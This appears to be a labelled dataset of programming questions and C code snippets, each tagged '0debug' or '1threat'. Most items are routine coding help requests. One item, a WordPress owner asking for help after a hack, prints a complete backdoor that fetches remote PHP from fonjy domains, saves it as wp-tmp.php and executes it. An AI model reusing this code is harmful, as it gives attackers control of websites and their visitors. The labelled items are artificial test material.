How to sort an array of dictionaries : <p>I have an array of dictionaries that looks like the following:</p> <pre><code>locationArray [{ annotation = "&lt;MKPointAnnotation: 0x7fb75a782380&gt;"; country = Canada; latitude = "71.47385399229037"; longitude = "-96.81064609999999"; }, { annotation = "&lt;MKPointAnnotation: 0x7fb75f01f6c0&gt;"; country = Mexico; latitude = "23.94480686844645"; longitude = "-102.55803745"; }, { annotation = "&lt;MKPointAnnotation: 0x7fb75f0e6360&gt;"; country = "United States of America"; latitude = "37.99472997055178"; longitude = "-95.85629150000001"; }] </code></pre> <p>I would like sort on longitude.</p>
0debug
A Function with multiple outputs in C# : <p>I want to define a function with two outputs. The first one is a boolean variable and the second one is 2D array with unknown numbers of rows and columns but the array will be defined if the boolean variable is true and if the boolean variable is false, the array is not defined. how can I define this function? I am thankful if anybody can exemplify it in an example. Thanks</p>
0debug
Using django signals in channels consumer classes : <p>I am trying to develop an auction type system, where a customer makes an order, and then different stores can offer a price for that order. </p> <p>An interesting part of this system is that when the order is initially created, the available stores will have 60 seconds to make their respective offer. When a first store makes their offer, the "auction" will now only have the next 20 seconds for other stores to make their own offer. If they do make another offer, in this smaller allocated time, then this 20 second is refreshed. Offers can keep on being received as long as there is enough time, which cannot surpass the initial 60 seconds given.</p> <pre><code>class Order(models.Model): customer = models.ForeignKey(Customer) create_time = models.DateTimeField(auto_now_add=True) update_time = models.DateTimeField(auto_now_add=True) total = models.FloatField(default=0) status = models.IntegerField(default=0) delivery_address = models.ForeignKey(DeliveryAddress) store = models.ForeignKey(Store, null=True, blank=True, related_name='orders', on_delete=models.CASCADE) credit_card = models.ForeignKey(CreditCard, null=True, blank=True, related_name='orders') class OrderOffer(models.Model): store = models.ForeignKey(Store, related_name="offers", on_delete=models.CASCADE) order = models.ForeignKey(Order, related_name="offers", on_delete=models.CASCADE) create_time = models.DateTimeField(auto_now_add=True) </code></pre> <p>Besides these requirements, I also want to update the client when new offers arrive in real-time. For this, I'm using <code>django-channels</code> implementation of WebSockets.</p> <p>I have the following <code>consumers.py</code>file:</p> <pre><code>from channels.generic.websockets import WebsocketConsumer from threading import Timer from api.models import Order, OrderOffer from django.db.models.signals import post_save from django.dispatch import receiver class OrderConsumer(WebsocketConsumer): def connect(self, message, **kwargs): """ Initialize objects here. """ order_id = int(kwargs['order_id']) self.order = Order.objects.get(id=order_id) self.timer = Timer(60, self.sendDone) self.timer.start() self.message.reply_channel.send({"accept": True}) def sendDone(self): self.send(text="Done") # How do I bind self to onOffer? @receiver(post_save, sender=OrderOffer) def onOffer(self, sender, **kwargs): self.send(text="Offer received!") if (len(self.offers) == 0): self.offerTimer = Timer(20, self.sendDone) self.offers = [kwargs['instance'],] else: self.offerTimer = Timer(20, self.sendDone) self.offers.append(kwargs['instance']) def receive(self, text=None, bytes=None, **kwargs): # Echo self.send(text=text, bytes=bytes) def disconnect(self, message, **kwargs): """ Perform necessary disconnect operations. """ pass </code></pre> <p>I have successfully been able to establish a WebSocket communication channel between my client and the server. I've tested sending messages, and everything seems ok. Now I want to detect the creation of new <code>OrderOffer</code>'s, and send a notification to the client. For this, I need access to the <code>self</code> variable, to use <code>self.send</code>, which is impossible, as the signals decorator does not send this parameter. I've tried forcing it by declaring onOffer with self, but I get the following error:</p> <p><code>TypeError: onOffer() missing 1 required positional argument: 'self'</code></p> <p>If I could somehow access the keyword arguments, that signals sets, I could maybe do something like: <code>context = self</code>.</p> <p>I would appreciate any help, or even alternative solutions to my original problem.</p>
0debug
start_list(Visitor *v, const char *name, Error **errp) { StringInputVisitor *siv = to_siv(v); parse_str(siv, errp); siv->cur_range = g_list_first(siv->ranges); if (siv->cur_range) { Range *r = siv->cur_range->data; if (r) { siv->cur = r->begin; } } }
1threat
Assigning file lines to lists in python : <p>I have a "samples" file containing numbers in two lines(separated by a single space):<br> 12 24 36<br> 45 56 67</p> <p>I would like to add these two lines in python to two lists which list1 then becomes ['12','24','36'] and the list2 becomes ['45','56','67']. I have written code that extracts these in desired format. My problem here is I can not print these multiple lists with their <strong>index</strong>. For example how can I print only the first list ['12','24','36']. Below is the my code: </p> <pre><code>myfile=open('samples.txt','r') for lines in myfile.readlines(): results=lines.split() print(results) </code></pre> <p>Could you help me with this, please ?</p>
0debug
Python Pattern Matching : Identifying blocks (of variable length) of numbers that must occur in a consecutive sequence : Problem Statement: An array is accepted if and only if it has the following structure: - First a1 elements equal 1. - Next a2 elements equal 2. - Next a3 elements equal 3. - Next a4 elements equal 4. - Next a5 elements equal 5. - Next a6 elements equal 6. - Next a7 elements equal 7. Where: - a(i) can be any non-zero positive integer. - There are no other elements in array. Even though the algorithm for this problem seems pretty easy to implement, I am having some difficulty with the code. Here is what I have written. print("Enter list: ") arr = [int(x) for x in input().split()] print(arr) i = 0 if arr[0] == 1: # to check whether input starts with a 1. if arr[i] == 1: #If next number is also 1, then while arr[i] == 1: #while numbers are equal to 1, increment i i = i + 1 if arr[i] == 2: #If next number is 2, then while arr[i] == 2: #same procedure as above ... and so on i = i + 1 if arr[i] == 3: while arr[i] == 3: i = i + 1 if arr[i] == 4: while arr[i] == 4: i = i + 1 if arr[i] == 5: while arr[i] == 5: i = i + 1 if arr[i] == 6: while arr[i] == 6: i = i + 1 if arr[i] == 7: while arr[i] == 7: i = i + 1 if arr[-1] == 7: #to check if last number is a 7 print("Accepted") else: print("not") else: print("not") else: print("not") else: print("not") else: print("not") else: print("not") else: print("not") else: print("not") else: print("not") I seem to be getting some kind of indexing error where it says: while arr[i] == 7: IndexError: list index out of range I don't understand why I am encountering this error. As far as I can tell, I am not exceeding the list index. Please help me figure out what's wrong with my code.
0debug
How add a third Jlist in this example : guys. I'm starting programming, learning a little Swing, i was praticing using the the Visual IDE of Netbeans that is easy, i just click on the components to add to Form. I found a example in internet that have 2 Jlists, i need to add a third, but i dont know cause there's no graphic interface, it was did in code, can you help me to add a third at the end of Form ? Thanks.. That's the actual code and a little photo of the aplication running [enter image description here][1] import java.awt.BorderLayout; import java.awt.Color; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.SortedSet; import java.util.TreeSet; import javax.swing.AbstractListModel; import javax.swing.BorderFactory; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JList; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.ListCellRenderer; import javax.swing.ListModel; import br.com.project.receita.dao.IngredienteDao; import br.com.project.receita.vo.IngredienteVo; public class DualListBox extends JPanel { private static final Insets EMPTY_INSETS = new Insets(0, 0, 0, 0); private static final String ADD_BUTTON_LABEL = "Adicionar >>"; private static final String REMOVE_BUTTON_LABEL = "<< Remover"; private static final String INGREDIENTES_DISPONIVEIS = "Ingredientes Disponíveis"; private static final String INGREDIENTES_SELECIONADOS = "Ingredientes Selecionados"; private static final String RECEITAS_DISPONIVEIS = "Receitas Disponíveis"; private JLabel sourceLabel; private JList sourceList; private SortedListModel sourceListModel; private JList destList; private SortedListModel destListModel; private JLabel destLabel; private JButton addButton; private JButton removeButton; public DualListBox() { initScreen(); } public String getSourceChoicesTitle() { return sourceLabel.getText(); } public void setSourceChoicesTitle(String newValue) { sourceLabel.setText(newValue); } public String getDestinationChoicesTitle() { return destLabel.getText(); } public void setDestinationChoicesTitle(String newValue) { destLabel.setText(newValue); } public void clearSourceListModel() { sourceListModel.clear(); } public void clearDestinationListModel() { destListModel.clear(); } public void addSourceElements(ListModel newValue) { fillListModel(sourceListModel, newValue); } public void setSourceElements(ListModel newValue) { clearSourceListModel(); addSourceElements(newValue); } public void addDestinationElements(ListModel newValue) { fillListModel(destListModel, newValue); } private void fillListModel(SortedListModel model, ListModel newValues) { int size = newValues.getSize(); for (int i = 0; i < size; i++) { model.add(newValues.getElementAt(i)); } } public void addSourceElements(Object newValue[]) { fillListModel(sourceListModel, newValue); } public void setSourceElements(Object newValue[]) { clearSourceListModel(); addSourceElements(newValue); } public void addDestinationElements(Object newValue[]) { fillListModel(destListModel, newValue); } private void fillListModel(SortedListModel model, Object newValues[]) { model.addAll(newValues); } public Iterator sourceIterator() { return sourceListModel.iterator(); } public Iterator destinationIterator() { return destListModel.iterator(); } public void setSourceCellRenderer(ListCellRenderer newValue) { sourceList.setCellRenderer(newValue); } public ListCellRenderer getSourceCellRenderer() { return sourceList.getCellRenderer(); } public void setDestinationCellRenderer(ListCellRenderer newValue) { destList.setCellRenderer(newValue); } public ListCellRenderer getDestinationCellRenderer() { return destList.getCellRenderer(); } public void setVisibleRowCount(int newValue) { sourceList.setVisibleRowCount(newValue); destList.setVisibleRowCount(newValue); } public int getVisibleRowCount() { return sourceList.getVisibleRowCount(); } public void setSelectionBackground(Color newValue) { sourceList.setSelectionBackground(newValue); destList.setSelectionBackground(newValue); } public Color getSelectionBackground() { return sourceList.getSelectionBackground(); } public void setSelectionForeground(Color newValue) { sourceList.setSelectionForeground(newValue); destList.setSelectionForeground(newValue); } public Color getSelectionForeground() { return sourceList.getSelectionForeground(); } private void clearSourceSelected() { Object selected[] = sourceList.getSelectedValues(); for (int i = selected.length - 1; i >= 0; --i) { sourceListModel.removeElement(selected[i]); } sourceList.getSelectionModel().clearSelection(); } private void clearDestinationSelected() { Object selected[] = destList.getSelectedValues(); for (int i = selected.length - 1; i >= 0; --i) { destListModel.removeElement(selected[i]); } destList.getSelectionModel().clearSelection(); } private void initScreen() { setBorder(BorderFactory.createEtchedBorder()); setLayout(new GridBagLayout()); sourceLabel = new JLabel(INGREDIENTES_DISPONIVEIS); JButton button = new JButton("Buscar"); add(button, new GridBagConstraints(1, 3, 1, 2, 0, .25, GridBagConstraints.CENTER, GridBagConstraints.NONE, EMPTY_INSETS, 0, 0)); button.addActionListener(new PrintListener()); sourceListModel = new SortedListModel(); sourceList = new JList(sourceListModel); add(sourceLabel, new GridBagConstraints(0, 0, 1, 1, 0, 0, GridBagConstraints.CENTER, GridBagConstraints.NONE, EMPTY_INSETS, 0, 0)); add(new JScrollPane(sourceList), new GridBagConstraints(0, 1, 1, 5, .5, 1, GridBagConstraints.CENTER, GridBagConstraints.BOTH, EMPTY_INSETS, 0, 0)); addButton = new JButton(ADD_BUTTON_LABEL); add(addButton, new GridBagConstraints(1, 2, 1, 2, 0, .25, GridBagConstraints.CENTER, GridBagConstraints.NONE, EMPTY_INSETS, 0, 0)); addButton.addActionListener(new AddListener()); removeButton = new JButton(REMOVE_BUTTON_LABEL); add(removeButton, new GridBagConstraints(1, 4, 1, 2, 0, .25, GridBagConstraints.CENTER, GridBagConstraints.NONE, new Insets( 0, 5, 0, 5), 0, 0)); removeButton.addActionListener(new RemoveListener()); destLabel = new JLabel(INGREDIENTES_SELECIONADOS); destListModel = new SortedListModel(); destList = new JList(destListModel); add(destLabel, new GridBagConstraints(2, 0, 1, 1, 0, 0, GridBagConstraints.CENTER, GridBagConstraints.NONE, EMPTY_INSETS, 0, 0)); add(new JScrollPane(destList), new GridBagConstraints(2, 1, 1, 5, .5, 1.0, GridBagConstraints.CENTER, GridBagConstraints.BOTH, EMPTY_INSETS, 0, 0)); } public static void main(String args[]) { JFrame f = new JFrame("Dual List Box Tester"); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); List<IngredienteVo> listaIngredientes = new ArrayList<IngredienteVo>(); DualListBox dual = new DualListBox(); Map<String, IngredienteVo> mapCodigoIngredientes = new HashMap(); int i = 0; IngredienteDao ingredienteDao = new IngredienteDao(); listaIngredientes = ingredienteDao.getIngredientesList(); String[] myArray = new String[listaIngredientes.size()]; for (IngredienteVo IngredienteVo : listaIngredientes) { myArray[i] = IngredienteVo.getNome(); i++; mapCodigoIngredientes.put(IngredienteVo.getNome(), IngredienteVo); } dual.addSourceElements(myArray); f.getContentPane().add(dual, BorderLayout.CENTER); f.setSize(400, 300); f.setVisible(true); } private class AddListener implements ActionListener { public void actionPerformed(ActionEvent e) { Object selected[] = sourceList.getSelectedValues(); addDestinationElements(selected); clearSourceSelected(); } } private class RemoveListener implements ActionListener { public void actionPerformed(ActionEvent e) { Object selected[] = destList.getSelectedValues(); addSourceElements(selected); clearDestinationSelected(); } } class PrintListener implements ActionListener { @Override public void actionPerformed(ActionEvent e) { int selected[] = destList.getSelectedIndices(); System.out.println("Selected Elements: "); for (int i = 0; i < destList.getModel().getSize(); i++) { Object element = destList.getModel().getElementAt(i); System.out.println("Item - " + element); } } } } class SortedListModel extends AbstractListModel { SortedSet model; public SortedListModel() { model = new TreeSet(); } public int getSize() { return model.size(); } public Object getElementAt(int index) { return model.toArray()[index]; } public void add(Object element) { if (model.add(element)) { fireContentsChanged(this, 0, getSize()); } } public void addAll(Object elements[]) { Collection c = Arrays.asList(elements); model.addAll(c); fireContentsChanged(this, 0, getSize()); } public void clear() { model.clear(); fireContentsChanged(this, 0, getSize()); } public boolean contains(Object element) { return model.contains(element); } public Object firstElement() { return model.first(); } public Iterator iterator() { return model.iterator(); } public Object lastElement() { return model.last(); } public boolean removeElement(Object element) { boolean removed = model.remove(element); if (removed) { fireContentsChanged(this, 0, getSize()); } return removed; } } [1]: http://i.stack.imgur.com/AORrZ.jpg
0debug
Android Room Exceptions : <p>What kinds of exceptions I should consider while working with Android Room. From my research I found out that there is only one exception that might occur.</p> <p><a href="https://developer.android.com/reference/android/arch/persistence/room/package-summary#exceptions" rel="noreferrer">Room Exceptions</a></p> <p>That is also when you are having <code>Single&lt;T&gt;</code> as a return type and you have an empty return. Other than that I couldn't find any other possible scenario that might throw an exception.</p> <p>Of course, there might be some exceptions if you have some logical incorrect implementations, like</p> <ul> <li>Editing scheme, but not implementing <code>Migration</code></li> <li>Not implementing <code>OnConflictStrategy</code> while inserting</li> <li>Running Room on Main Thread while not allowing it with <code>allowMainThreadQueries()</code></li> </ul> <p>I did some research and tried out almost all possible cases, mostly with RxJava return types and I saw one exception mentioned above and that's it.</p> <blockquote> <p><a href="https://medium.com/@musooff/rxjava-and-room-complete-guide-sheet-7fca5b49804e" rel="noreferrer">Here</a> is my tests that I run</p> </blockquote> <p>I wanted to make sure that I have implementation for every possible scenario and not have some exception and unexpected crashes. I was thinking of occurrences of <code>SQLite</code> exceptions might happen, but I believe it's wrapped around Room and it will handle. (Not sure)</p> <p>Can you give any other possible exceptions that might occur?</p>
0debug
ASP.Net query: adding a value from one table to another table where the ID´s match : So my problem is: I have a club table with a ClubId. This table has a field with the badge reference string. (I´ll acces the Picture itself through wwwroot). I now have a table with results. This results table has a hometeamId a hometeambadge field thats still empty and a awayteamId and a awayteambadge field thats also empty. I now want to write a methode where I add the badge string from the club table into the results table where the ClubId is equal to the hometeamId and the awayteamId. How do I do this in a query in ASP.Net Core ?
0debug
define multiple variables on jacascript : I am struggling to define multiple variables: var city_NAME = ("Birmingham" , "London"); // **various code i cannt share** if(thisLoc.getName() == City_NAME) { The issue solely lies on the: **var city_NAME = ("Birmingham" , "London"); //** because it is only printing out the SECOND city (london) Any help would be appreciated
0debug
Javascript unit test-Give a fake value to the variables initialized by constructor : I have a class Test.ts:- class Test { public property1: string; public property2: boolean; constructor(property1, property2) { this.property1 = property1;//will get value while instantiation this.property2 = property2;//will get value while instantiation this.property3 = somevalue;//want to add fake value here } } As given above i want to give a fake value for property3 but property1 and and property2 i will get it from instantiation.How can i achieve this??
0debug
How to resolve 'A get or set accessor expected' compile error C# : Hi I'm trying to write some code that will set a countdown timer in C# but I'm getting a compile error A get or set accessor expected Looking around it seems that I'm missing some () somewhere, but I'm not really sure where the issue is. Here's the code that I'm having trouble with, any help or advice would be appreciated. public static class TimeController { static DateTime TimeStarted; static DateTime TotalTime; public static void StartCountDown(TimeSpan totalTime) { TimeStarted = DateTime.UtcNow; TotalTime = totalTime; } public static TimeLeft get { var result = DateTime.UtcNow - TimeStarted; //THIS IS THE LINE THAT HAS THR ERROR if (result.TotalSeconds <= 0) return TimeSpan.Zero; return result; } }
0debug
Text in my heading should be top not bottom : <p>I have a table it looks like <a href="http://oi65.tinypic.com/2meu6ud.jpg" rel="nofollow">this</a>, but the table headings should be on the same height(top)/ start at the same line.</p> <p>What shall I write in my css:</p> <pre><code>table th{ ... } </code></pre>
0debug
static int mpegts_probe(AVProbeData *p) { const int size = p->buf_size; int maxscore = 0; int sumscore = 0; int i; int check_count = size / TS_FEC_PACKET_SIZE; #define CHECK_COUNT 10 #define CHECK_BLOCK 100 if (check_count < CHECK_COUNT) return 0; for (i = 0; i<check_count; i+=CHECK_BLOCK) { int left = FFMIN(check_count - i, CHECK_BLOCK); int score = analyze(p->buf + TS_PACKET_SIZE *i, TS_PACKET_SIZE *left, TS_PACKET_SIZE , NULL, 1); int dvhs_score = analyze(p->buf + TS_DVHS_PACKET_SIZE*i, TS_DVHS_PACKET_SIZE*left, TS_DVHS_PACKET_SIZE, NULL, 1); int fec_score = analyze(p->buf + TS_FEC_PACKET_SIZE *i, TS_FEC_PACKET_SIZE *left, TS_FEC_PACKET_SIZE , NULL, 1); score = FFMAX3(score, dvhs_score, fec_score); sumscore += score; maxscore = FFMAX(maxscore, score); } sumscore = sumscore * CHECK_COUNT / check_count; maxscore = maxscore * CHECK_COUNT / CHECK_BLOCK; av_dlog(0, "TS score: %d %d\n", sumscore, maxscore); if (sumscore > 6) return AVPROBE_SCORE_MAX + sumscore - CHECK_COUNT; else if (maxscore > 6) return AVPROBE_SCORE_MAX/2 + sumscore - CHECK_COUNT; else return 0; }
1threat
Why (void) between two comma separated statements in a for loop : <p>The following code comes from an implementation example of <code>std::lexicographical_compare</code> on <a href="http://en.cppreference.com/w/cpp/algorithm/lexicographical_compare" rel="noreferrer">cppreference.com</a>:</p> <pre><code>template&lt;class InputIt1, class InputIt2&gt; bool lexicographical_compare(InputIt1 first1, InputIt1 last1, InputIt2 first2, InputIt2 last2) { for ( ; (first1 != last1) &amp;&amp; (first2 != last2); ++first1, (void) ++first2 ) { if (*first1 &lt; *first2) return true; if (*first2 &lt; *first1) return false; } return (first1 == last1) &amp;&amp; (first2 != last2); } </code></pre> <p>Why is there a <code>(void)</code> in the loop, and what would be the consequence of not putting it there?</p>
0debug
static void virtio_ccw_post_plugged(DeviceState *d, Error **errp) { VirtioCcwDevice *dev = VIRTIO_CCW_DEVICE(d); VirtIODevice *vdev = virtio_bus_get_device(&dev->bus); if (!virtio_host_has_feature(vdev, VIRTIO_F_VERSION_1)) { dev->max_rev = 0; } }
1threat
static void put_int64(QEMUFile *f, void *pv, size_t size) { int64_t *v = pv; qemu_put_sbe64s(f, v); }
1threat
Difference between symbolic differentiation and automatic differentiation? : <p>I just cannot seem to understand the difference. For me it looks like both just go through an expression and apply the chain rule.. What am I missing?</p>
0debug
int nbd_client_co_pwritev(BlockDriverState *bs, uint64_t offset, uint64_t bytes, QEMUIOVector *qiov, int flags) { NbdClientSession *client = nbd_get_client_session(bs); struct nbd_request request = { .type = NBD_CMD_WRITE, .from = offset, .len = bytes, }; struct nbd_reply reply; ssize_t ret; if (flags & BDRV_REQ_FUA) { assert(client->nbdflags & NBD_FLAG_SEND_FUA); request.type |= NBD_CMD_FLAG_FUA; } assert(bytes <= NBD_MAX_BUFFER_SIZE); nbd_coroutine_start(client, &request); ret = nbd_co_send_request(bs, &request, qiov); if (ret < 0) { reply.error = -ret; } else { nbd_co_receive_reply(client, &request, &reply, NULL); } nbd_coroutine_end(client, &request); return -reply.error; }
1threat
Why am I getting nan back from a variable and not a number : why is it when I alert either of cont_home_h or cont_other_h I get nan? but if I alert the variables wind_h, slider_h or head_img_h I get a their height. Have I done the calculation wrong? if you need the css I will create a demo but I'm hoping you can just see an error it this jQuery. Thanks <!-- language: lang-js --> /*no scroll on content when nav is open*/ var wind_h = jQuery(window).height(); var slider_h = jQuery(".slider").height(); var head_img_h = jQuery(".head").height(); var cont_home_h = wind_h - slider_h; var cont_other_h = wind_h - head_img_h; var cont_wrapper = jQuery(".page_cont_wrapper"); var slider = jQuery(".slider"); var head_img = jQuery(".head"); if(slider.length && jQuery("#hd_ft_cont").hasClass("open_nav")){ cont_wrapper.css("height", cont_home_h); cont_wrapper.addClass("no_scroll"); }else{ cont_wrapper.css("height", "auto"); cont_wrapper.removeClass("no_scroll"); } if(head_img.length && jQuery("#hd_ft_cont").hasClass("open_nav")){ cont_wrapper.css("height", cont_other_h); cont_wrapper.addClass("no_scroll"); }else{ cont_wrapper.css("height", "auto"); cont_wrapper.removeClass("no_scroll"); } jQuery(window).resize(function(){ var wind_h = jQuery(window).height(); var slider_h = jQuery(".slider").height(); var head_img_h = jQuery(".head").height(); var cont_home_h = wind_h - slider_h; var cont_other_h = wind_h - head_img; var cont_wrapper = jQuery(".page_cont_wrapper"); var slider = jQuery(".slider"); var head_img = jQuery(".head"); if(slider.length && jQuery("#hd_ft_cont").hasClass("open_nav")){ cont_wrapper.css("height", cont_home_h); cont_wrapper.addClass("no_scroll"); }else{ cont_wrapper.css("height", "auto"); cont_wrapper.removeClass("no_scroll"); } if(head_img.length && jQuery("#hd_ft_cont").hasClass("open_nav")){ cont_wrapper.css("height", cont_other_h); cont_wrapper.addClass("no_scroll"); }else{ cont_wrapper.css("height", "auto"); cont_wrapper.removeClass("no_scroll"); } }); <!-- end snippet -->
0debug
static void tpm_passthrough_worker_thread(gpointer data, gpointer user_data) { TPMPassthruThreadParams *thr_parms = user_data; TPMPassthruState *tpm_pt = thr_parms->tb->s.tpm_pt; TPMBackendCmd cmd = (TPMBackendCmd)data; DPRINTF("tpm_passthrough: processing command type %d\n", cmd); switch (cmd) { case TPM_BACKEND_CMD_PROCESS_CMD: tpm_passthrough_unix_transfer(tpm_pt->tpm_fd, thr_parms->tpm_state->locty_data); thr_parms->recv_data_callback(thr_parms->tpm_state, thr_parms->tpm_state->locty_number); break; case TPM_BACKEND_CMD_INIT: case TPM_BACKEND_CMD_END: case TPM_BACKEND_CMD_TPM_RESET: break; } }
1threat
Why can I collect a parallel stream to an arbitrarily large array but not a sequential stream? : <p>From answering <a href="https://stackoverflow.com/q/49760006/7294647">this question</a>, I ran into a peculiar feature. The following code works as I assumed it would (the first two values within the existing array would be overridden):</p> <pre><code>Integer[] newArray = Stream.of(7, 8) .parallel() .toArray(i -&gt; new Integer[] {1, 2, 3, 4, 5, 6}); System.out.println(Arrays.toString(newArray)); </code></pre> <p>Output:</p> <pre><code>[7, 8, 3, 4, 5, 6] </code></pre> <p>However, attempting this with a sequential stream throws an <code>IllegalStateException</code>:</p> <pre><code>Integer[] newArray = Stream.of(7, 8) .toArray(i -&gt; new Integer[] {1, 2, 3, 4, 5, 6}); System.out.println(Arrays.toString(newArray)); </code></pre> <p>Output:</p> <pre><code>Exception in thread "main" java.lang.IllegalStateException: Begin size 2 is not equal to fixed size 6 at java.base/java.util.stream.Nodes$FixedNodeBuilder.begin(Nodes.java:1222) at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:483) at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:474) at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:550) at java.base/java.util.stream.AbstractPipeline.evaluateToArrayNode(AbstractPipeline.java:260) at java.base/java.util.stream.ReferencePipeline.toArray(ReferencePipeline.java:517) at test/test.Test.main(Test.java:30) </code></pre> <p>I'm curious as to why the sequential stream does not overwrite elements of the array as the parallel stream does. I searched around a bit and was not able to find documentation regarding this, but I assume it exists somewhere.</p>
0debug
My wordpress website got hacked and is being redirected to some unknown source : I don't know how it happened but since few days ago some code appeared inside my "functions.php" header (My website doesn't work whenever I remove this unknown code); And it seems to redirect and mirroring everything to some unknown source. Now it has affected my SSL Certificate and showing error messages like "This is not a private connection" whenever I try to access my website. Below is the piece of code that was added to the header of my "functions.php". Can Anyone help me to solve this problem? Thanks <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-css --> <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f22fd2bb9496d1dfe84e31567316a32d')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='e810cc8873fd72ff6d1585ebccddae8e'; if (($tmpcontent = @file_get_contents("http://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.fonjy.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?> <!-- end snippet -->
0debug
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
Laravel: connect to databases dynamically : <p>I'm creating an application in Laravel 5(.1) where it is needed to connect to different databases. The only problem is that it's not known which databases it has to connect to, so making use of the database.php in config is not possible. A controller is in charge of making a connection with dynamically given connection details.</p> <p>How can I make a new connection to a database, including making use of the DB class? (Or is this possible)</p> <p>Thanks in advance!</p>
0debug
adding number in android using kotlin : Hello guyys i'm new here I am trying to add numbers with 3 edittexts and i want to display it on text view with a calculate button but there's something wrong with kotlin code as I'm newbie here's my code class Add : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_adsense) var input_num1 = num1 var input_num2 = numm2 var input_num3 = num3 result.setOnCLickListener { var result = input_num1.toStrubg()?.toLong() + input_num2.toStrubg()?.toLong() + input_num3.toLong()?.toString() } } } <TextView android:id="@+id/textView" android:textSize="20dp" /> <EditText android:id="@+id/num1" android:inputType="number" /> <TextView android:id="@+id/textView2" android:textSize="20dp" /> <EditText android:id="@+id/num2" android:inputType="numberDecimal" /> <TextView android:id="@+id/textView3" android:textSize="20dp" /> <EditText android:id="@+id/num3" android:inputType="numberDecimal" /> <TextView android:id="@+id/result" android:textSize="20dp" android:text="Result" /> <Button android:id="@+id/Calculate" android:onClick="Calculate" android:text="Calculate" android:textSize="20dp" /> </LinearLayout>
0debug
